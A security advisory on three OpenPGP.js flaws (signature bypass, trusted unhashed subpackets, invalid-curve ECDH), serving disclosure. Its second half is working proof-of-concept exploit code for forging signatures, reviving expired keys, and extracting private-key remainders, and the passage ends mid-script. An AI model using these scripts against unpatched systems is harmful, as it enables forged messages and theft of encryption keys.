SEC Consult Vulnerability Lab Security Advisory < 20190822-0 >
=======================================================================
title: Multiple Vulnerabilities
product: OpenPGP.js
vulnerable version: <=4.2.0
fixed version: 4.3.0
CVE number: CVE-2019-9153, CVE-2019-9154, CVE-2019-9155
impact: critical
homepage: https://openpgpjs.org/
found: 2018-2019
by: Wolfgang Ettlinger (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"This project aims to provide an Open Source OpenPGP library in JavaScript so
it can be used on virtually every device. Instead of other implementations that
are aimed at using native code, OpenPGP.js is meant to bypass this requirement
(i.e. people will not have to install gpg on their machines in order to use the
library). The idea is to implement all the needed OpenPGP functionality in a
JavaScript library that can be reused in other projects that provide browser
extensions or server applications. It should allow you to sign, encrypt,
decrypt, and verify any kind of text - in particular e-mails - as well as
managing keys."
URL: https://openpgpjs.org/
Business recommendation:
------------------------
SEC Consult was tasked by the German Bundesamt für Sicherheit in der
Informationstechnik (BSI) with conducting a security audit of the
Mailvelope browser extension as well as the parts of OpenPGP.js used by
Mailvelope. During the course of this audit multiple security vulnerabilities
with severities ranging from minor to critical have been identified. Some of the
vulnerabilities with higher severity are published as an advisory. A more
detailed description of the vulnerabilities as well as a description of other
vulnerabilities found during this project can be found in the report that has
been made available by the BSI:
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Studies/Mailvelope_Extensions/Mailvelope_Extensions_pdf.html
Vulnerability overview/description:
-----------------------------------
1) Message Signature Bypass (CVE-2019-9153)
OpenPGP defines several types of signatures with each type carrying a different
semantic. Signatures are implemented as packets and each signature packet can
contain subpackets.
To indicate a message signature (e.g. a signed e-mail), the signature type
"text" is used. The text signature packet verifies both its subpackets as well
as the signed text.
During verification of a message signature, OpenPGP.js does not verify that the
signature is of type text. An attacker could therefore construct a message that,
instead of a text signature, contains a signature of another type. As the input
required for the verification process depends on the signature type, an attacker
could use a signature with a type that only verifies its subpackets and does not
require additional input.
An attacker could construct a message that contains a valid "standalone" or
"timestamp" signature packet signed by another person. OpenPGP.js would
incorrectly assume this message to be signed by that person.
2) Information from Unhashed Subpackets is Trusted (CVE-2019-9154)
OpenPGP signature subpackets contain information related to a signature (e.g.
the creation timestamp). These subpackets may appear in a "hashed" and
"unhashed" subpacket container. While the information in the hashed subpackets
is signed, the unhashed subpackets are not cryptographically protected.
OpenPGP.js however does not distinguish between these subpackets. When parsing a
signature packet, the signed information is parsed first. When the unhashed
packets are read, the information from the hashed packets is overwritten.
An attacker could arbitrarily modify the contents of e.g. a key certification
signature or revocation signature. As a result, the attacker could e.g.
convince a victim to use an obsolete key for encryption.
3) Invalid Curve Attack (CVE-2019-9155)
The implementation of the Elliptic Curve Diffie-Hellman (ECDH) key exchange
algorithm does not verify that the communication partner's public key is
valid (i.e. that the point lies on the elliptic curve). This causes the
application to implicitly calculate the resulting secret key not based on the
specified elliptic curve but rather an altered curve. By carefully choosing
multiple altered curves (and therefore the resulting public key), and observing
whether decryption fails, an attacker can extract the victim's private key.
This attack requires the attacker to be able to provide multiple manipulated
messages and to observe whether decryption fails.
Proof of concept:
-----------------
1) Message Signature Bypass (CVE-2019-9153)
The script message_signature_bypass.js (see below) demonstrates this issue. The
function fakeSignature reads a signed message and replaces its content. It then
replaces the signature with a standalone signature of the victim.
2) Information from Unhashed Subpackets is Trusted (CVE-2019-9154)
The script unsigned_subpackets.js demonstrates this issue. It parses an expired
key and adds additional unhashed subpackets that specify a different key
expiration. When this newly-created key is parsed, it can be used for encrypting
messages.
3) Invalid Curve Attack (CVE-2019-9155)
The script in invalid_curve_attack.js demonstrates this issue.
Note that since OpenPGP uses only the x-coordinate of the secret point, the
oracle succeeds both when it calculates the same point as the attacker or when
it calculates its inverse point. Therefore, the Chinese Remainder Theorem cannot
be directly applied to the result. Instead, the script demonstrates that the
remainders of the private key matches the corresponding gathered remainder. In
order to fully implement this attack, an attacker could verify the results using
other public key points with a non-prime order.
Vulnerable / tested versions:
-----------------------------
The version 4.1.2 was found to be vulnerable. The Invalid Curve attack is also
viable against version 4.2.0.
Vendor contact timeline:
------------------------
Vendor communication was conducted by the BSI as well as their contractors.
Solution:
---------
Upgrade to the latest version of OpenPGP.js.
Workaround:
-----------
None.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Wolfgang Ettlinger / @2019
Proof of concept scripts:
message_signature_bypass.js
--------------------------------------------------------------------------------
import * as key from "../../src/key";
import * as openpgp from "../../src/openpgp";
import * as cleartext from "../../src/cleartext";
import Signature from "../../src/packet/signature";
import base64 from "../../src/encoding/base64";
/**
* public key of another user.
*/
const OTHERPUBKEY = `
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: OpenPGP.js VERSION
Comment: https://openpgpjs.org
xsBNBFuqNY0BCADFUCnl03vimEQRs7mtDIp0g6tItuguhJJu1/QjXwTXUHZg
pZosOPkGOR1EubydjYz4kvAnZ5r9cWA4xQ96rBdvj/kIaP+oJKLB1jXwh4Ft
+8YT4mVU2yWLu7U2p4tSyRoM5VCDEqG64OcbZMwEdDKf8t6JTjYTtEfPfW5R
4hy8NjPYOx0Jw8MG+U0aP4WA1xsMXFP/VWF1IseEcVIWKs/VroJc5Xe80QDN
hRtKTRVJV/wTnkao2MLcq/hgOfhO28NjnxVlX06O/XTWdElA7CCi1Zg1/BZ+
r2XuuE1J2DjERfTokFzkKnMlGK9zXn0LxPnAJAIfu33/SFuAZcVu4UEJABEB
AAHNHVRlc3RpIFRlc3QgPHRlc3RAZXhhbXBsZS5jb20+wsB1BBABCAApBQJb
qjWcBgsJBwgDAgkQVSCLLRis484EFQgKAgMWAgECGQECGwMCHgEAAGNXB/4g
DX082p83RfMmBv8hRN1V9ruPAvlxDWNBHb5dc1Y67yrBXOLMtaSauSZKrbf1
moPDHT2eoLl7cV3BQbXWp+hiMZ4W53ZFJt26Kwwwf1yVRAZME7VRNwqW0aJv
FKgCq7XTgJ61UYNhc31bLH0eVcfCkAExfwqZlwTWRzRSCqr0NL0XZVakJE6F
al1Y+uN7CEr0/vbc6uSuo0hyZwxAw+Iynd5cO9PRXSssAm4IaulSnYUd96r2
l8jsa+p6ooBYPotnLQ9fdd457JMoc8jDHf4m+P9/ZiWpycCB0DgUtNw1wH2T
DHYf+2lfGGoA3osuHeJJfZfJujbKW5L7ZMNJ23tSzsBNBFuqNY0BB/9XKYzS
PdHC/dXoBC9un3YLCcUX6LMNnaQMryVONYKFE1Rt0/si9XtnIDqyBrTr3LRi
D+GIR+b7zCXOGkvmjztblD2P3SweCudPIbVLxePI+SfyjRs9EsMOrEPymN7U
u/CU7jefvNBKvvMHi1m1Ibqg/A+ZheqJ+xBjSQM88dWsY/XB/jh7PGAM0QEu
ezafNwlUUNnXyYRuC3P4h66OIJcDPcfaao3uAuJ/C81E8ttuws3c08kudd/A
szIGpPtxAakimiWVHa0ceKi3exXXjRDrufroPcV3+Gbn4J8NqcUPRhB3L3CD
rCivRme8qGEYh+ADPLy88SytdtCr+6W4hiQVABEBAAHCwF8EGAEIABMFAluq
NZ0JEFUgiy0YrOPOAhsMAABebggAxANqkwS/Ag3NQLUu/wNZMMifZAxpFIWo
CQQrCOU94OSsUKz8Q11yoOvsQN3T4CSL8dG5DbIucnHsx39jVeTniG6P3p9f
NE/lq7RtLnXjVgGYpPNNUbLcOfXaCDhmS4GEunwTsVlsmEqyfLniKLG8to5Q
6f/wGPJRvYB8rgLfVGV3DCvILg/CMzkceM9ia6jDQeHHwnoFVXnlsRAgQefJ
rT5hVim4Wzg/5Lxt9Efry0k1ZhT0kondF1qNMv0wKxIJ+/gDNT2ZP4RIr1Kl
eu6a8CH841yfF0+r5RV9xOky0jxwGgcxT29c8DBoawjXu6TtJ/SP8UrscttA
bVLYdBmWLw==
=nMyV
-----END PGP PUBLIC KEY BLOCK-----`;
/**
* an original unmodified message as a template.
*/
const ORIGINAL = `
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
You owe me € 10
-----BEGIN PGP SIGNATURE-----
Version: OpenPGP.js VERSION
Comment: https://openpgpjs.org
wsBcBAEBCAAQBQJbq0iICRBVIIstGKzjzgAAeV0H/3ZxWuEV+2PNXHR+PdxX
WRxjk6Zu+jjpb/iRS8IynRoe3iDaai3+iiAHM1GsHvOIBVJU6Bjx1ZyyEI0a
dDg/yj3LBqBW9U3AiGpsXPfuyLKYIHfPbrygEleRIQKh7+iwNmn9ScVvzJrl
hUurlZxx1mWbERAchwsrcZpwFCdfjJ/C9sblTxgnsm1YlYZNkf95DFtRnVO5
prUuOjqJ0bA7bxg5GA4FQskRPIQ0ioZ6DyDi2IU3rdVEOs2Pc8S0EsD9K7af
vO5oXKiJsyUN5EXEI8kYRulP1l0kvEWVTlnY2ek1qS637RkBI+DHLcXV5Hcu
fhGyl7nA7UCwgsqf7ZPBhRg=
=nbjQ
-----END PGP SIGNATURE-----`;
async function getOtherPubKey(){
return (await key.readArmored(OTHERPUBKEY)).keys[0];
}
/**
* The "standalone" signature signed by the victim.
*/
const STANDALONE_PKT = base64.decode(`
BAIBCAAQBQJbq3MKCRBVIIstGKzjzgAAWdoIALgj7OuhuuAWr6WEvGfvkx3e
Fn/mg76lh2Hawxq6ryI6+kzUH+YJsG94CfLgGuh5LghZFBnlkdZS11gK87fN
+ifmPdSDj8fsKqSFdX1sHGwzvzBcuPt+qhtHrACCWwiiBgajIOmIczKUlX4D
ASBkthx0o9Qb/r3dT91zmrniIK5I0yqe34/1rsHhOAf8ds2EubupFJJqFOb1
qssMWE+jBrTREoD/EH5q7un2jEGccITcVQSZCqfjHT4EL6dF/bmuggf7wV/E
QLXfFIJS6cZczK86XW1pGaXBKRLvQXYa/eRWHKcGlrujdFKzJYRoT6LVDk8T
jhAfE9q2ElqlaAvZZYw=`);
async function fakeSignature(){
// read the template and modify the text to
// invalidate the signature.
let fake = await cleartext.readArmored(
ORIGINAL.replace(
'You owe me',
'I owe you'));
// read the standalone signature packet
const tmp = new Signature();
await tmp.read(STANDALONE_PKT);
// replace the "text" signature with the
// "standalone" signature
fake.signature.packets[0] = tmp;
const faked_armored = await fake.armor();
console.log(faked_armored);
// re-read the message to eliminate any
// behaviour due to cached values.
fake = await cleartext.readArmored(faked_armored);
// faked message now verifies correctly
const res = await openpgp.verify({
message: fake,
publicKeys: await getOtherPubKey(),
streaming: false
});
console.log(res);
}
export default {fakeSignature};
--------------------------------------------------------------------------------
unsigned_subpackets.js
--------------------------------------------------------------------------------
import * as key from "../../src/key";
import List from "../../src/packet/packetlist";
import * as openpgp from "../../src/openpgp";
import * as message from "../../src/message";
import * as packet from "../../src/packet/all_packets";
import enums from "../../src/enums";
/*
* This key is long expired and cannot be used for encryption.
*/
const INVALID_KEY = `
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js VERSION
Comment: https://openpgpjs.org
xcMGBDhtQ4ABB/9uAfnjiE8HLfFrk4AzYIoxISvIbqDlItn3Mk2RK4iGTaAL
h+hN8BrqOopgdHj5c3pTo6VDvJLieHwymdZ3d296L55zt2ichhVIgRxh20Tv
j0dYLKGIEWDMBKvQNoDi83eGrIeHGNjRDOipr/PD251LzwaeiNVyw8ce2Fpd
1ORbC2MJU57C2appZqeMJsWPCnsHNkhxPyRGdp+vifgizi/lt2DcQ6C6EiJx
HV0jFDPJnb69LxKLUelRH+l/b2ZHTONu2pZwUXcFpjA5yTrSzO/kaUtGu/Cz
3euQ3scEtvMXgO2R9H7halxYwyXL/PPLmgaUt1RNXGC7BZjkUW4n8qd/ABEB
AAH+CQMITYNkFGQHMiJgt2s69CHTfwUUZg1Yfcq8alY7GpqeH4CayWCMPI+v
l7kIJdl2b9N/xGnpaUMmaXJts6AtlIBLwzxg0syIfgRv4/wfrVeruJ9TfCFC
NbKP3lk3FZCGF0I4T1FSNvyPJ//ee1cX7U/gM7A2g5xyBFnH5d8LTUDlQjXb
a+BwYN2TZaFrvlWwMIU+NQa+EOiyAwXsgyQbVn2d7JsUUs/lyEG2xkWNTeqe
FWKJJvyDwixsxd7oobBSM6Krt2TreuelPBFQxKyaYyv81gASga9wxyfbIuTG
7wAKW9i4pFMgrrIABcnNKOyeAgMDcAYXAW3eNbYDCIDL9/AuOUotPR+0pEun
WssAZGBM78ZlJZ1Qnbg9nT0rn4pHrFQHnBxlWyPEqj1mZ0Svc0vXHVH+8JgN
pwOGxo7DiF5lL/bphdFVMF2e+UPoc1efO4cpW+ZH/BOug14dJROfkrPhrUTp
nYu6VF9N723YVT9PDTg79E4kIzjMDvhV1odHSaxfl4VtgueYv+Bt3n2nXdME
XZVBXbp7jO7pTS5HsOBcModos8ZYS5RcaHPJ6H8807hFyva4GThZ744ryV8b
XnROoC+d/xR4ShA4f/f9QszMXZ+Xlh4IU3Ccz5PF5UiZ/nC5ho5KzJphBB53
c78gjRIXeUK1Rgj2AquF3KDOjCm60oazKzXv8316ZODNJr+HVvGSKeq85z9Z
z/BfXUtn+PrmzHxegusZfFCpB6YAJCILsHgJ2gT8v26QF+1CJ3ngHVnSkghR
z64zJexeqA8ChTZnhPbHVhh5qx2hlNTofBV29LJGa/EpMykO5pZiuaSEkmZx
RpU+iKNYKa3U516O8f9yj+UZ5/t2SJRpT+9fro3RB4lUnt/RdkY8q2R+3owo
xr4sYaInfvrs3eCsmh5UtygUVARKrK84zR1UZXN0aSBUZXN0IDx0ZXN0QGV4
YW1wbGUuY29tPsLAewQQAQgALwUCOG1DgAUJAAAACgYLCQcIAwIJEMwSTBo3
j0N5BBUICgIDFgIBAhkBAhsDAh4BAAD2TQf+KQbrX2zO9SL5ffCK5qu2VigM
0E3uF763II9vRYfXHdZtXY/8K/uBLbu2rdZHwwb/jAHEe60Qf5VjcbIMtCfA
khPB5JuCvW+JEsYhXplNxYka27svfWI75/cYVc/0OharKEaaPOv2F8C1k2jL
Sk7Az01IAJkdwmBkG6fUwupevuvpO+kUQjsHg35q8Lm7G8roCYiK7K7/JQi3
K+e0ovVFvunFSORaG8jR37uT7X7KA0LHD3S7XYO0o2OJi0QKB1wN3H3FEll0
bFznfdIzKKIDzGwC/zhpUMGMwsqVLb8sw/H9cr82yPoM6pXVUqnstKDlLce8
Dc2vwS83Aja9iWrIEg==
=dvRO
-----END PGP PRIVATE KEY BLOCK-----`;
async function getInvalidKey(){
return (await key.readArmored(INVALID_KEY)).keys[0];
}
async function makeKeyValid(){
/**
* Checks if a key can be used for encryption.
*/
async function encryptFails(k){
try{
await openpgp.encrypt({
message: message.fromText('Hello', 'hello.txt'),
publicKeys: k
});
return false;
}catch(e){
return true;
}
}
const invalidkey = await getInvalidKey();
// deconstruct invalid key
const [pubkey, puser, pusersig] = invalidkey.toPacketlist().map(i => i);
// create a fake signature
const fake = new packet.Signature();
Object.assign(fake, pusersig);
// extend expiration times
fake.keyExpirationTime = 0x7FFFFFFF;
fake.signatureExpirationTime = 0x7FFFFFFF;
// add key capability
fake.keyFlags[0] |= enums.keyFlags.encrypt_communication;
// create modified subpacket data
pusersig.unhashedSubpackets = fake.write_all_sub_packets();
// reconstruct the modified key
const newlist = new List();
newlist.concat([pubkey, puser,pusersig]);
let modifiedkey = new key.Key(newlist);
// re-read the message to eliminate any
// behaviour due to cached values.
modifiedkey = (await key.readArmored(
await modifiedkey.armor())).keys[0];
console.log('original key can be used for encryption: ' + await encryptFails(invalidkey));
console.log('modified key can be used for encryption: ' + await encryptFails(modifiedkey));
}
export default {makeKeyValid};
--------------------------------------------------------------------------------
invalid_curve_attack.js
--------------------------------------------------------------------------------
import BN from 'bn.js';
import packet from '../../src/packet';
import util from '../../src/util';
import enums from '../../src/enums';
import * as key from "../../src/key";
import * as message from "../../src/message";
import Literal from '../../src/packet/literal';
import List from '../../src/packet/packetlist';
import streams from 'web-stream-tools';
import MPI from '../../src/type/mpi';
import pkcs5 from '../../src/crypto/pkcs5';
import Curve from '../../src/crypto/public_key/elliptic/curves';
import KDFParams from '../../src/type/kdf_params';
import cipher from '../../src/crypto/cipher';
import hash from '../../src/crypto/hash';
import aes_kw from '../../src/crypto/aes_kw';
import ECDHSymmetricKey from '../../src/type/ecdh_symkey';
const EC_PUBKEY = `
-----BEGIN PGP PUBLIC KEY BLOCK-----
mFIEW8SNLhMIKoZIzj0DAQcCAwRWVtfOjt3E+P7SN6Ra7KID3jXaKRLDEZ4E2RFL
2L40Dh35fGL0jAoLdu/UMt8PCqHeGgoJ10WwmXy0Zf1NP8R7tBxUZXN0IEVDIDx0
ZXN0ZWNAZXhhbXBsZS5jb20+iJAEExMIADgWIQTFndNi1wI0akSCVA4VdOdzKGTd
iAUCW8SNLgIbAwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRAVdOdzKGTdiIwS
AQC/uZIzSitNh/uHSgyK5J9DMYpCE7+upoFEMkykuTzePwEAs8FtwlBrCVBsuEKM
j8H6NwQCLGHkyRzV7GZAZySfhvK4VgRbxI0uEggqhkjOPQMBBwIDBD5Z+C8fwzqF
EN3DdxklRkITVA8g9qm7JVOBoopwGpU9B+AMfZ/IoIGesPISeUHxjhwnqOiV1JEG
PsGwn76PQMYDAQgHiHgEGBMIACAWIQTFndNi1wI0akSCVA4VdOdzKGTdiAUCW8SN
LgIbDAAKCRAVdOdzKGTdiEfaAP9JYqqlAbdml0gmKF0k4T017iR5TJh8Ezfw+fkh
/NR6EwEAjmIt73UGGN3nRwNDe/gIPYgdfSl/UTrsNp2txYOf2uM=
=+ZmX
-----END PGP PUBLIC KEY BLOCK-----`;
const EC_PRIVKEY = `
-----BEGIN PGP PRIVATE KEY BLOCK-----
lKUEW8SNLhMIKoZIzj0DAQcCAwRWVtfOjt3E+P7SN6Ra7KID3jXaKRLDEZ4E2RFL
2L40Dh35fGL0jAoLdu/UMt8PCqHeGgoJ10WwmXy0Zf1NP8R7/gcDAnQDfW7FFwFF
/l2EPxcUZpY7Zpcaa97P4475Bmkndeo7KhuflWdbIFsEKM5cb+Xk9wZ8SHZig9Nm
LyNZC13Lqy5rmHR08LcpClDWE8mCsfe0HFRlc3QgRUMgPHRlc3RlY0BleGFtcGxl
LmNvbT6IkAQTEwgAOBYhBMWd02LXAjRqRIJUDhV053MoZN2IBQJbxI0uAhsDBQsJ
CAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJEBV053MoZN2IjBIBAL+5kjNKK02H+4dK
DIrkn0MxikITv66mgUQyTKS5PN4/AQCzwW3CUGsJUGy4QoyPwfo3BAIsYeTJHNXs
ZkBnJJ+G8pypBFvEjS4SCCqGSM49AwEHAgMEPln4Lx/DOoUQ3cN3GSVGQhNUDyD2
qbslU4GiinAalT0H4Ax9n8iggZ6w8hJ5QfGOHCeo6JXUkQY+wbCfvo9AxgMBCAf+
BwMCh/RXQLPRRSj+Hcj2uOGwMM05/C7lUJ1aurofTcgjAlmWGbKhIJLqj0Hq1osz
sv2AZ5U5rwZ61p9cQFysfiejh/OYB+z3FINGzQWpw3Y+poh4BBgTCAAgFiEExZ3T
YtcCNGpEglQOFXTncyhk3YgFAlvEjS4CGwwACgkQFXTncyhk3YhH2gD/SWKqpQG3
ZpdIJihdJOE9Ne4keUyYfBM38Pn5IfzUehMBAI5iLe91Bhjd50cDQ3v4CD2IHX0p
f1E67DadrcWDn9rj
=9EwO
-----END PGP PRIVATE KEY BLOCK-----`;
const CURVE = new Curve('P-256');
const SYM_CIPHER = 'aes256';
const PRIV_D = new BN('11797007539199385125641572351435364350673179296018766191601014072423508068615');
const TEST_POINTS = [
// b/a6; order of P; P[x,y]
['5', '2', '98819847942428805742002354006386840019676525869315184973139125710807339875491',
'0'],
['3', '3', '89995002874197087156160429731648695860910221822426040658975619972952380673767',
'14349743460558275675129535079038365302062743301233311020938192075259646708873'],
['23', '5', '63299982345700198063353570193894599876572651739624919554705621677380969280674',
'96442819104977226429929288529785941822383850900946373821682009079064557791950'],
['3', '7', '89160674440956328538893206540265823545209810924936759489615962285452747599555',
'62955846380480372470115555824131491746042536932809546767926959568475857403238'],
['19', '11', '58920820228436110477414420630582848223113258950692053215844449413027764807067',
'110179718074794243460368093718134459142293006700423197428813351010117956372449'],
['3', '13', '44238399751822344629155927349410921734336660036385908812849527496419061724190',
'4582951479554514988676358786998889641332277566820648791779967644967496848142'],
['109', '17', '17927964409971138652728246043528631371865820326714379259847933275531087147749',
'30800248157467050855258955303292756235364211822327328126929717140797206265755'],
['67', '19', '94215742596664355763556374536865647352108659301549715056650556226595744117873',
'50130610228151740308562832667998985973624580555152187184122910949305207982696'],
['127', '23', '88359545017768082137294926955323595057003028909805462896395409625305400047868',
'54112579719242259787714362707451997943186422010055931088163137855740170177055'],
['173', '29', '86443834505398368747541705619520241500349370284819012868009839319064688979357',
'80015722605306309353568523033623834985342634148401880386307336407545023436334'],
['43', '31', '91847825971795436592151657785964290062665859257041291008218510105946059955847',
'91031528799630671629033833758356019053863861887932785625452607629858020218662'],
['3', '37', '71381269501775968128475011265598269069347980821218846743948246753286064412420',
'93106089722491605224338586731271529062359787069042949543385151555752345954179'],
['233', '41', '43991960325622526242409226214578587740189171800201587535472979450082902259862',
'15600544845409782768611472264443243044394203501519498893540695266090327718430'],
['157', '43', '12274862506702509875113914612268962703761782785031974993160665646710313663076',
'95106848031904584287127109765628529543290490385081928258900582115783776703854'],
['131', '47', '7428821579639826286284862627746264659875870105081582900827577359900673827956',
'51189665812209617453731229331251417202029435178998418713899794182944298865975'],
['419', '53', '75859648055029409455865113279970721519934091368225816034520984120734110333831',
'95581074059699239966948801790300570572974347056525814413181002371237633129138'],
['479', '59', '98373757836628605615020603017111994292556920936052115669565113245393394654891',
'72500066514606177149994150826027803811170746818463795801313779365320099538143'],
['137', '61', '18245045085014103226803496427136065515743934499788427019064558373208344985742',
'47584263871384878914016113675999314893028949794229685588431475797515837837074'],
['79', '67', '51728919783263616872528295880942597381937454345405015064087305503012144368703',
'102594247662633837296012240032351535373401256404586076493187297578088776500987'],
['311', '71', '34366239163666275753532452043325391580231219277633707141512413289465049265458',
'103060830222018513212956786480202757115408693616152549420310878044629041925302'],
['41', '73', '83097459118513469275826669550926695448169702101975661346254858719508169997335',
'111037453149205789034862016011015162163927656343750047369969247334466461280298'],
['241', '79', '40662496711232280435859193025508895658589420058170365279669118583382524567418',
'62266237065031986209521024406634439035208614650354645619801963767196649194575'],
['659', '83', '62656129840107795390857188284682401256953936037612730677880278151859277379230',
'46123976333697537171152454914506938246987800142649072659529204542516503075828'],
['163', '89', '62208108064214628162465906210284422850497400076701347209605724056009117585346',
'67091612523444786985224121556704075108029161656305500397805276695782627715495'],
['3', '97', '39783941623575229603558838170588552262835547156130238646122164276335076451073',
'43777069262503404828209754573766008393026998991107699634127779211510340436936'],
['163', '101', '66806037006315039028624064294948042364334466613093489461090376899139124448503',
'38686564246583255952103022559646527059806572091197794052555736415581573949963'],
['2671', '103', '23265766501544966939730317619663876344143611261056514672607491296171816151553',
'106387627627932257485486968846096068700564244331050621772859845969053198485058'],
['127', '107', '15339214204614054203971206010297006012519512260204273418911962745130965080297',
'64830511127612473536500769683518604970088172806885131849075550583321199431619'],
['31', '109', '27543911308163802695600330183709640972305886344075866471535352981201105074796',
'82376910207266830617694198136990735359788102369861097690596404526706997497300'],
['3', '113', '69473202296790888221989641114439625856056410065759153429712028574142323887235',
'27224964365716519755044877081930694306533217160896231828903674165207513413426'],
['1373', '127', '68558907993158138443631381606898830203570924798868797278121675277887760778594',
'68216978687919774395283639914856247796135789149617875144856281895628396778604'],
['1811', '131', '46360777840572611880507819054875480848689245727971401003402678035053970174517',
'107112531431155716165835164581658854159107546745963916197741297712740539470937'],
['653', '137', '69512361800692778808247441943826439340870762665479208902672548057906989416214',
'99383953562155778695339938473590829645432946810497224654365997199566131986410'],
['4049', '139', '102722354417533001653384103241141084615993149515297230604148764829691728804428',
'85678556460194642118469326134294437121318569058467935457887468472654673400061'],
['1123', '149', '16395588304231505290388028297731583547710683967129944573954956393328565397819',
'107260005474350000384651668597310488232319852173106957252364199212754972812012'],
['431', '151', '42359789528389328251531626938183337715028835000706770034635762262575432516670',
'22736290261645403538646298832296905012873089680206586710123732308386751567809'],
['373', '157', '96024749202718052206594365116883364523707730864195537045509495365919086964327',
'107212834839043197811345745920821509813276600168378673026121671213341510299283'],
['3191', '163', '20281866306378275211057666201079939791897084728521172859690132598441934128175',
'20596227103545413506126265293047792280335377930727559033403106220295308315761'],
['97', '167', '94846489967597784331507114114430171360140590112481371445147609109642819592485',
'15704288556197652933999724264817667666927917654184003641438123066819536680530'],
['2441', '173', '11874524432135988482877265172783164604461054772391413252387383428109777353330',
'37126617997732059376328531134968769729808115463324034788331894253550783781800'],
['271', '179', '105100506292119181923341212649319616099766672947890318066584215703336589003206',
'89837502042012770374554723345685447300861161635973416248710339646950026197059'],
['631', '181', '49376117472029344135930860015593532374439331445989099411877590416805255800087',
'108575969169039541164641729422661716969417421645708907288819300640977306958595'],
['557', '191', '59777258716921308865085380739515533260634149503105494695114405605464445328608',
'52829286317822727767652772108834115344972087581610199341408867054294161044877'],
['1723', '193', '59045664363082875413388718802595476166529359787215154310590811305802614712232',
'27284637898375575867062579464405076125897799191531494792786855805151832798828']
];
function kdf(hash_algo, X, length, param) {
return hash.digest(hash_algo, util.concatUint8Array([
new Uint8Array([0, 0, 0, 1]),
new Uint8Array(X),
param
])).subarray(0, length);
}
function buildEcdhParam(public_algo, oid, cipher_algo, hash_algo, fingerprint) {
const kdf_params = new KDFParams([hash_algo, cipher_algo]);
return util.concatUint8Array([
oid.write(),
new Uint8Array([public_algo]),
kdf_params.write(),
util.str_to_Uint8Array("Anonymous Sender "),
fingerprint.subarray(0, 20)
]);
}
export async function encryptSessionKeyEc(sessionKey, publicKey, testPrivKey, pubPoint, date=new Date()) {
const packetlist = new packet.List();
const encryptionKey = await publicKey.getEncryptionKey(undefined, date, {});
const pkESKeyPacket = new packet.PublicKeyEncryptedSessionKey();
pkESKeyPacket.encrypt = async function (key) {
let data = String.fromCharCode(enums.write(enums.symmetric, this.sessionKeyAlgorithm));
data += util.Uint8Array_to_str(this.sessionKey);
const checksum = util.calc_checksum(this.sessionKey);
data += util.Uint8Array_to_str(util.writeNumber(checksum, 2));
const toEncrypt = new MPI(pkcs5.encode(data));
const oid = key.params[0];
const kdf_params = key.params[2];
const res = await ecdhEncrypt(
oid, kdf_params.cipher, kdf_params.hash, toEncrypt, key.getFingerprintBytes(),
testPrivKey, pubPoint);
this.encrypted = [
new MPI(res.V),
new ECDHSymmetricKey(res.C)
];
return true;
};
pkESKeyPacket.publicKeyId = encryptionKey.getKeyId();
pkESKeyPacket.publicKeyAlgorithm = encryptionKey.keyPacket.algorithm;
pkESKeyPacket.sessionKey = sessionKey;
pkESKeyPacket.sessionKeyAlgorithm = SYM_CIPHER;
await pkESKeyPacket.encrypt(encryptionKey.keyPacket);
delete pkESKeyPacket.sessionKey; // delete plaintext session key after encryption
packetlist.push(pkESKeyPacket);
return new message.Message(packetlist);
}
async function ecdhEncrypt(oid, cipher_algo, hash_algo, m, fingerprint, testPrivKey, pubPoint) {
const param = buildEcdhParam(enums.publicKey.ecdh, oid, cipher_algo, hash_algo, fingerprint);
cipher_algo = enums.read(enums.symmetric, cipher_algo);
const v = CURVE.curve.keyPair({ priv: testPrivKey, pub: pubPoint });
// simulate decrypt operation
const S = v.derive(pubPoint);
const Z = kdf(hash_algo, S, cipher[cipher_algo].keySize, param);
const C = aes_kw.wrap(Z, m.toString());
return {
V: Uint8Array.from(pubPoint.encode()),
C: C
};
}
async function attack(oracle){
const sesskey = util.str_to_Uint8Array('A'.repeat(32));
const literal = new Literal();
literal.text = 'test';
const remainders = {};
let bitsToGuess = 0;
let requests = 0;
for(let [b, prime, x, y] of TEST_POINTS){
remainders[prime] = [0];
const pubPoint = CURVE.curve.curve.point(new BN(x), new BN(y));
prime = prime*1;
for(let i=1; i<prime; i++){
const msg = await encryptSessionKeyEc(sesskey,
(await key.readArmored(EC_PUBKEY)).keys[0], new BN(i), pubPoint);
const symEncPkt = new packet.SymEncryptedIntegrityProtected();
symEncPkt.packets = new List();
symEncPkt.packets.push(literal);
await symEncPkt.encrypt(SYM_CIPHER, sesskey, false);
msg.packets.push(symEncPkt);
const success = await oracle(await streams.readToEnd(msg.armor()));
requests++;
if(success){
const r = (i%prime);
remainders[prime] = [r, prime - r];
bitsToGuess += 1;
break;
}
}
console.log(`remainders of ${prime}: ${remainders[prime].join(',')}`);
}
console.log(`required ${requests} requests, ${bitsToGuess} bits have to be guessed`);
return remainders;
